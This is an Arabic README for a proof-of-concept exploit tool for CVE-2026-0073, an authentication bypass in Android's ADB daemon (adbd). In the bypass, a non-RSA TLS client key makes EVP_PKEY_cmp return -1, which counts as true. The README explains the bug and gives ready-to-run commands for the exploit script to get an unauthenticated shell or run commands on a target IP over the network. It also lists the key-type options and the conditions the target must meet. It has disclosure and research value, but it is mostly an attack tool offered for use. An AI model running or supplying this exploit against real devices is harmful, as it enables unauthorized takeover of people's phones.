
CVE-2026-0073 — تجاوز مصادقة TLS في خدمة Android ADB daemon (adbd) عبر التباس النوع في EVP_PKEY_cmp. الحصول على وصول غير مصرّح به إلى shell عبر WiFi باستخدام عدم تطابق مفاتيح EC/Ed25519. استغلال PoC لإصدار Android 14+.
EVP_PKEY_cmp() خلط أنواع ← وصول غير مصرّح به إلى ADB shellيسمح تجاوز مصادقة حرج في خادم ADB على أندرويد (adbd) لأي مهاجم على الشبكة المحلية بالحصول على shell كامل على الجهاز المستهدف دون تفويض من المستخدم.
توجد الثغرة في adbd_tls_verify_cert() داخل daemon/auth.cpp، حيث يُستخدم EVP_PKEY_cmp() كقيمة منطقية. عندما يكون المفتاح المخزَّن من نوع RSA وتحمل شهادة عميل TLS المقدَّمة مفتاحًا غير RSA (EC P-256 أو Ed25519)، فإن EVP_PKEY_cmp() تُرجع -1 (عدم تطابق النوع)، وهي قيمة صحيحة منطقيًا في C/C++، وبالتالي authorized = true.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
قيمة إرجاع EVP_PKEY_cmp() | المعنى | صحيح في C؟ | النتيجة |
|---|---|---|---|
1 | المفتاحان متطابقان | ✅ | مصرَّح به (صحيح) |
0 | المفتاحان مختلفان | ❌ | مرفوض (صحيح) |
-1 | عدم تطابق النوع | ✅ | مصرَّح به (خلل) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
افتراضيًا، يحاول السكربت تلقائيًا EC P-256 → Ed25519 → EC/TLS 1.2 حتى ينجح أحدها.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| المتطلب | التفاصيل |
|---|---|
| خيارات المطوّر | مُفعّلة على الجهاز الهدف |
| التصحيح اللاسلكي | مُفعّل (أو ADB عبر TCP على المنفذ 5555) |
| مفتاح RSA المخزّن | يجب أن يكون الجهاز قد تم إقرانه عبر USB مرة واحدة على الأقل (/data/misc/adb/adb_keys) |
| الوصول إلى الشبكة | يجب أن يتمكّن المهاجم من الوصول إلى منفذ adbd عبر TCP |
⚠️ مهم: يجب أن يكون مفتاح RSA موجودًا في
/data/misc/adb/adb_keys، والذي يُملأ عبر إقران التصحيح عبر USB (بقبول مربّع الحوار "Allow USB debugging?"). أمّا إقران التصحيح اللاسلكي (adb pair) فيخزّن المفاتيح في موقع مختلف (adb_known_hosts.pb) ولا يفي بهذا المتطلب.
adb shell getprop ro.build.version.security_patch
تم اختباره وتأكيد عمله على:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
تتضمن هذه النسخة المتفرعة عدة تحسينات:
select() لدعم الأنظمة المتعددة-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
تُقدَّم هذه الأداة لأغراض الاختبار الأمني المصرَّح به والأغراض التعليمية فقط. الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني. احصل دائمًا على التصريح المناسب قبل الاختبار. لا يتحمّل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج.
إذا ساعدك هذا في بحثك، فامنحه ⭐